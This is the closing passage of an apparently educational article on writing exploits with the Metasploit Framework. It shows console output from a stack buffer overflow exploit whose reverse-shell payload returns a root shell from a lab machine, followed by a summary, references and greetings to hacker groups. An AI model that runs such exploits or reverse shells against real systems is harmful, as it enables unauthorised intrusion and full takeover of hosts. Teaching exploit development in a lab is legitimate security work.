msf stack_buffer_overflow(linux_ia32_reverse) > exploit
Starting Reverse Handler.
Attacking the server.....
Got connection from 192.168.80.1:1337 <-> 192.168.80.130:36997
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
| --- Summary
Metasploit Framework is one of the best security tools today, and it's an open source exploit development framework
with wonderful feature on it. I just explain a simple how-to-make exploit using metasploit framework, but metasploit
framework still has another greate feature for exploit development. I hope this simple article can give you a picture
about exploit development using Metasploit Framework.
Cheers!
| --- Reference
* http://www.milw0rm.com/papers/78
* http://www.metasploit.com
| --- Greetz
* Kecoak Elektronik Indonesia [http://foo.kecoak.or.id]
* CyberTank (wazzup bro!), crasher, ph03nix, scut, cbug (de 31337), ceyen, zka et Kecoak Elektronik
* Preddy, nice article :)
* #k-elektronik & #e-c-h-o @ dalNet
* Indonesian Internet Underground Community
